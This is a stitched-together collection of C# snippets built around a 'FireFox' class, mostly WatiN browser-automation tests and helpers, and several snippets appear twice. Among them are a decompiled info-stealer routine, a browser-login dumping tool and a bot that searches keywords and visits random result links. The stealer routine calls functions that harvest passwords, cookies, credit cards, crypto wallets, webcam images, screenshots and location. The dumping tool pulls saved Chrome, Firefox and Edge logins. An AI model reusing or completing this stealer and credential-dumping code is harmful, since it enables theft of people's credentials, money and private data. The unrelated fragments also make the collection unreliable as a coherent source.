public void NewFireFoxWithoutUrlShouldStartAtAboutBlank() { using (var fireFox = new FireFox()) { Assert.AreEqual("about:blank", fireFox.Url); } }
// Token: 0x0600009C RID: 156 RVA: 0x00008324 File Offset: 0x00006524 private static void Helper() { Passwords.GetPasswords(); FireFox.GetPasswordFirefox(); Internet_Explorer.Start(); Cookies.GetCookies(); Autofill.GetCAutofills(); Clipboard.GetText(); CreditCards.GetCreditCards(); History.GetHistory(); USB.GetUSB(); DesktopFiles.Inizialize(); Discord.GetDiscord(); Skype.GetSkype(); FTPClient.GetFileZilla(); ImClient.GetImClients(); MailClient.GoMailClient(); VPNClient.GetVPN(); HardwareInfo.GoInfo(); ScreenDektop.GetScreenshot("screenshot.jpg"); Steam.CopySteam(); Telegram.GetTelegram(); WebCam.GetWebCamPicture(); Wallets.GetWallets(); Location.GetLocation(false); }
public void CreateNewFireFoxInstance(string url) { Logger.LogDebug("Starting a new Firefox instance."); CloseExistingFireFoxInstances(); if (string.IsNullOrEmpty(url)) { url = "about:blank"; } FireFox.CreateProcess(url, true); if (IsMainWindowVisible) { return; } if (!IsRestoreSessionDialogVisible) { return; } NativeMethods.SetForegroundWindow(Process.MainWindowHandle); // TODO replace SendKeys cause they will hang the test when running test in a service or on // a remote desktop session or on a locked system SendKeys.SendWait("{TAB}"); SendKeys.SendWait("{ENTER}"); }
public void AddProtocolToUrlIfOmmitted() { using (var firefox = new FireFox("www.google.com")) { Assert.That(firefox.Url, Text.StartsWith("http://")); } }
public override UIControlBase[] GetChildren() { List <UIControlBase> children = new List <UIControlBase>(); foreach (IE browser in WatiN.Core.IE.InternetExplorers()) { if (browser.NativeDocument != null) { children.Add(new WatBrowser(browser)); } } FireFox ffBrowser = null; try { ffBrowser = FireFox.AttachTo <FireFox>(WatiN.Core.Constraints.AnyConstraint.Instance, 2); } catch { } if (ffBrowser != null) { children.Add(new WatBrowser(ffBrowser)); } return(children.ToArray()); }
private static List <string> FindSearchLinks(FireFox browser) { ElementCollection elementCollection = browser.ElementsWithTag("h3", (string[])null); // ISSUE: reference to a compiler-generated field if (Program.CS\u0024\u003C\u003E9__CachedAnonymousMethodDelegate1 == null) { // ISSUE: reference to a compiler-generated field // ISSUE: method pointer Program.CS\u0024\u003C\u003E9__CachedAnonymousMethodDelegate1 = new Func <Element, bool>((object)null, __methodptr(\u003CFindSearchLinks\u003Eb__0)); } // ISSUE: reference to a compiler-generated field Func <Element, bool> anonymousMethodDelegate1 = Program.CS\u0024\u003C\u003E9__CachedAnonymousMethodDelegate1; IEnumerable <Element> elements = (IEnumerable <Element>)Enumerable.Where <Element>((IEnumerable <M0>)elementCollection, (Func <M0, bool>)anonymousMethodDelegate1); List <string> stringList = new List <string>(); foreach (Element element in elements) { if (Regex.IsMatch(element.InnerHtml.ToString(), "href=\\\".*\\\"")) { string input = Regex.Match(element.InnerHtml.ToString(), "href=\\\".*\\\"").Captures[0].ToString().Replace("href=\"", "").Replace("\"", ""); if (Regex.IsMatch(input, "/url.*&sa=")) { string str = HttpUtility.UrlDecode(Regex.Match(input, "/url.*&sa=").Captures[0].ToString().Replace("/url?q=", "").Replace("&sa=", "")); Console.WriteLine(string.Format("Link found: {0}", (object)str)); stringList.Add(str); } } } return(stringList); }
public void NewFireFoxWithUri() { using (var fireFox = new FireFox(MainURI)) { Assert.AreEqual(MainURI, fireFox.Uri); } }
public void DevtestLocalTestCase2() { Browser firefox = new FireFox("http://devtest.local"); firefox.GoTo("http://devtest.local"); firefox.Close(); }
private void CreateNewFireFoxInstance(string url) { Logger.LogDebug("Starting a new Firefox instance."); CloseExistingFireFoxInstances(); if (string.IsNullOrEmpty(url)) { url = "about:blank"; } Process = FireFox.CreateProcess(url + " -jssh", true); System.Threading.Thread.Sleep(1000); // McWatin.Mono.Process = FireFox.CreateProcess(url + " -jssh", true); //if (IsMainWindowVisible) return; // if (!IsRestoreSessionDialogVisible) return; // NativeMethods.SetForegroundWindow(Process.MainWindowHandle); // TODO replace SendKeys cause they will hang the test when running test in a service or on // a remote desktop session or on a locked system // SendKeys.SendWait("{TAB}"); // SendKeys.SendWait("{ENTER}"); }
public void CloseBrowser() { if (firefox == null) { return; } firefox.Dispose(); firefox = null; }
public Browser GetBrowser(Uri uri) { if (firefox == null) { firefox = (FireFox)CreateBrowser(uri); } return(firefox); }
public Browser GetBrowser(Uri uri) { if (firefox == null) { firefox = (FireFox) CreateBrowser(uri); } return firefox; }
public void CheckFireFoxIsInheritingProperTypes() { using (var firefox = new FireFox()) { Assert.IsInstanceOfType(typeof(FireFox), firefox, "Should be a FireFox instance"); Assert.IsInstanceOfType(typeof(Browser), firefox, "Should be a Browser instance"); Assert.IsInstanceOfType(typeof(DomContainer), firefox, "Should be a DomContainer instance"); } }
public void GoogleSearchWithEncodedQueryStringInConstructor() { var url = string.Format("http://www.google.com/search?q={0}", HttpUtility.UrlEncode("a+b")); using (var firefox = new FireFox(url)) { Assert.That(firefox.TextField(Find.ByName("q")).Value, Is.EqualTo("a+b")); } }
public void CheckFireFoxIsInheritingProperTypes() { using (var firefox = new FireFox()) { Assert.IsInstanceOfType(typeof (FireFox), firefox, "Should be a FireFox instance"); Assert.IsInstanceOfType(typeof (Browser), firefox, "Should be a Browser instance"); Assert.IsInstanceOfType(typeof (DomContainer), firefox, "Should be a DomContainer instance"); } }
public void testMethod() { IWebDriver driver = new FireFox(); driver.Url("https://www.google.com"); IWebElement searchElement = driver.FindElement(By.Name("q")); driver.SendKeys("try method java"); driver.Quit(); }
public void FireFoxCanAttachByUri() { using (var fireFox = new FireFox(NewWindowUri)) { fireFox.Links[0].Click(); var newWindow = FireFox.AttachTo <FireFox>(Find.ByUrl(NewWindowTargetUri)); Assert.That(newWindow.Text.Trim() == "Welcome to the new window."); newWindow.Close(); } }
public void FireFoxCanAttachByUri() { using (var fireFox = new FireFox(NewWindowUri)) { fireFox.Links[0].Click(); var newWindow = FireFox.AttachTo<FireFox>(Find.ByUrl(NewWindowTargetUri)); Assert.That(newWindow.Text.Trim() == "Welcome to the new window."); newWindow.Close(); } }
public void FireFoxCanAttachByTitle() { Settings.AttachToBrowserTimeOut = 3; using (var fireFox = new FireFox(NewWindowUri)) { fireFox.Links[0].Click(); var newWindow = FireFox.AttachTo <FireFox>(Find.ByTitle("New Window Target Page")); Assert.That(newWindow.Text.Trim() == "Welcome to the new window."); newWindow.Close(); } }
//[Test()] public void GoogleTest() { Browser firefox = new FireFox(); firefox.GoTo("http://www.google.com"); firefox.TextField(Find.ByName("q")).Value = "WatiN"; firefox.Button(Find.ByName("btnG")).Click(); Assert.IsTrue(firefox.ContainsText("WatiN")); firefox.Close(); }
public void FireFoxCanDisposeAttachedBrowser() { using (var fireFox = new FireFox(NewWindowUri)) { fireFox.Buttons[0].Click(); using (var newWindow = FireFox.AttachTo <FireFox>(Find.ByUrl(NewWindowTargetUri))) { Assert.That(newWindow.ContainsText("Welcome"), Is.True, "Expected 'Welcome'"); } Assert.That(fireFox.Buttons[0].Exists); } }
//[TestMethod] public void TestGOMHomeLoad() { browser = new FireFox(); try { browser.GoTo(Constants.GOMobileWebHost); Assert.AreEqual(browser.Url, Constants.GOMobileWebHost); } finally { browser.Close(); } }
private static void CreateOutputFile(string fileName, FireFox browser, string outFolder) { string path = Path.Combine(outFolder, fileName + ".html"); using (StreamWriter streamWriter = new StreamWriter(path)) { if (!File.Exists(path)) { File.Create(path); } streamWriter.Write(browser.Html.ToString()); } }
//[TestMethod] public void TestGOMHomeTitleLoad() { browser = new FireFox(); try { browser.GoTo(Constants.GOMobileWebHost); Assert.IsTrue(browser.Title.Contains(Constants.GOMobileWebHostTitle)); } finally { browser.Close(); } }
//[TestMethod] public void TestGOMHomeHeaderBGImageLoad() { browser = new FireFox(); try { browser.GoTo(Constants.GOMobileWebHost); string GossipTitleContent = browser.Div(Find.ById("GossipTitle")).InnerHtml; Assert.AreEqual(GossipTitleContent, Constants.GOMobileWebHostTitle); } finally { browser.Close(); } }
public void Should_get_the_date() { // GIVEN using (var browser = new FireFox("http://jqueryui.com/demos/datepicker/")) { var datePicker = browser.Control <DatePicker>("datepicker"); datePicker.Date = new DateTime(2009, 12, 6); // WHEN var date = datePicker.Date; // THEN Assert.AreEqual(new DateTime(2009, 12, 6), date); } }
/// <summary> /// Method to Get a Browser Object /// Conversts IE or FireFox object to Browser Object /// </summary> /// <param name="browser">IE or FireFox</param> /// <param name="url"></param> /// <returns>WatiN Browser Object</returns> public Browser GetBrowser(string browser, string url) { switch (browser) { case "IE": Browser ie = new IE(url); return(ie); case "FireFox": Browser ff = new FireFox(url); return(ff); default: throw new ArgumentOutOfRangeException(); } }
private static void SearchAndGoToRandomLink(string pathKeyWords) { using (StreamReader streamReader = new StreamReader(pathKeyWords)) { string empty = string.Empty; string outputFolder = Program.CreateOutputFolder(); string str; while (!string.IsNullOrEmpty(str = streamReader.ReadLine())) { FireFox browser = (FireFox)null; try { Console.WriteLine(string.Format("Consultando palavra chave:{0}", (object)str)); string fileName = str.Trim().Replace(" ", "+"); browser = new FireFox(string.Format("https://www.google.com.br/search?q={0}", (object)fileName)); Program.CreateOutputFile(fileName, browser, outputFolder); Console.WriteLine(); List <string> searchLinks = Program.FindSearchLinks(browser); Console.WriteLine(); string url = Program.ChooseRandomLink(searchLinks); browser.GoTo(url); Thread.Sleep(1000); browser.Close(); Thread.Sleep(1000); } catch { Console.WriteLine("There was an unhadled error, but I'll continue working Seymour."); } finally { try { browser?.Close(); } catch { } } } } }
/// <summary> /// Method to clear the cache of a browser /// will clear cache of IE or FireFox browser /// </summary> /// <param name="browser"></param> /// <param name="browsertype">IE or FireFox</param> public void ClearCache(Browser browser, string browsertype) { switch (browsertype) { case "IE": IE ie = (IE)browser; ie.ClearCache(); ie.ClearCookies(); break; case "FireFox": FireFox ff = (FireFox)browser; Console.Write("Unsure how to clear cache in FireFox"); ff.Refresh(); break; } }
public void ReloadCookieTest02Firefox() { string ok_mail = TestUtility.TestData[TestUtility.KEY_OK_MAIL]; string ok_pass = TestUtility.TestData[TestUtility.KEY_OK_PASS]; bool result; TestUtility.Message("Running ReloadCookieTestFirefox."); using (Browser browser = new FireFox()) { network_.SetCookieKind(NicoNetwork.CookieKind.None); network_.ClearCookie(); TestUtility.BrowserLogout(browser); result = network_.IsLoginNiconico(); Assert.That(result, Is.False, "ReloadCookieTestFireFox-1"); TestUtility.BrowserLogin(browser); } network_.ReloadCookie(NicoNetwork.CookieKind.Firefox3); result = network_.IsLoginNiconico(); Assert.That(result, Is.True, "ReloadCookieTestFirefox-2"); }
private FireFox FindFireFox(Constraint findBy) { var clientPort = FireFox.GetClientPort(); clientPort.ConnectToExisting(); var ffBrowser = new FFBrowser(clientPort); var windowCount = ffBrowser.WindowCount; for (var i = 0; i < windowCount; i++) { ((FireFoxClientPort)ffBrowser.ClientPort).DefineDefaultJSVariablesForWindow(i); ffBrowser.ClientPort.InitializeDocument(); var firefox = CreateBrowserInstance(ffBrowser); if (firefox.Matches(findBy)) { return(firefox); } } clientPort.CloseConnection(); return(null); }
public void FireFoxCanDisposeAttachedBrowser() { using (var fireFox = new FireFox(NewWindowUri)) { fireFox.Buttons[0].Click(); using (var newWindow = FireFox.AttachTo<FireFox>(Find.ByUrl(NewWindowTargetUri))) { Assert.That(newWindow.ContainsText("Welcome"), Is.True, "Expected 'Welcome'"); } Assert.That(fireFox.Buttons[0].Exists); } }
static void Main(string[] args) { string[] validArgs = { "all", "full", "chrome", "firefox", "-p", "edge" }; bool getChrome = false; bool getFireFox = false; bool getEdge = false; string masterPassword = ""; if (args.Length == 0) { Usage(); return; } // Parse the arguments. for (int i = 0; i < args.Length; i++) { // Valid arg! string arg = args[i].ToLower(); if (Array.IndexOf(validArgs, arg) != -1) { if (arg == "all" || arg == "full") { getChrome = true; getEdge = true; getFireFox = true; } else if (arg == "chrome") { getChrome = true; } else if (arg == "firefox") { getFireFox = true; } else if (arg == "edge") { getEdge = true; } else if (arg == "-p") { masterPassword = args[i + 1]; } } } if (!getChrome && !getEdge && !getFireFox) { Usage(); return; } if (getChrome) { Chrome.GetLogins(); } if (getFireFox) { if (masterPassword != "") { FireFox.GetLogins(masterPassword); } else { FireFox.GetLogins(); } } if (getEdge) { Edge.GetLogins(); } }
/// <summary> /// Method to Get a Browser Object /// Conversts IE or FireFox object to Browser Object /// </summary> /// <param name="browser">IE or FireFox</param> /// <param name="url"></param> /// <returns>WatiN Browser Object</returns> public Browser GetBrowser(string browser, string url) { switch (browser) { case "IE": Browser ie = new IE(url); return ie; case "FireFox": Browser ff = new FireFox(url); return ff; default: throw new ArgumentOutOfRangeException(); } }
public void CloseBrowser() { if (firefox == null) return; firefox.Dispose(); firefox = null; }
public void FireFoxCanAttachByTitle() { Settings.AttachToBrowserTimeOut = 3; using (var fireFox = new FireFox(NewWindowUri)) { fireFox.Links[0].Click(); var newWindow = FireFox.AttachTo<FireFox>(Find.ByTitle("New Window Target Page")); Assert.That(newWindow.Text.Trim() == "Welcome to the new window."); newWindow.Close(); } }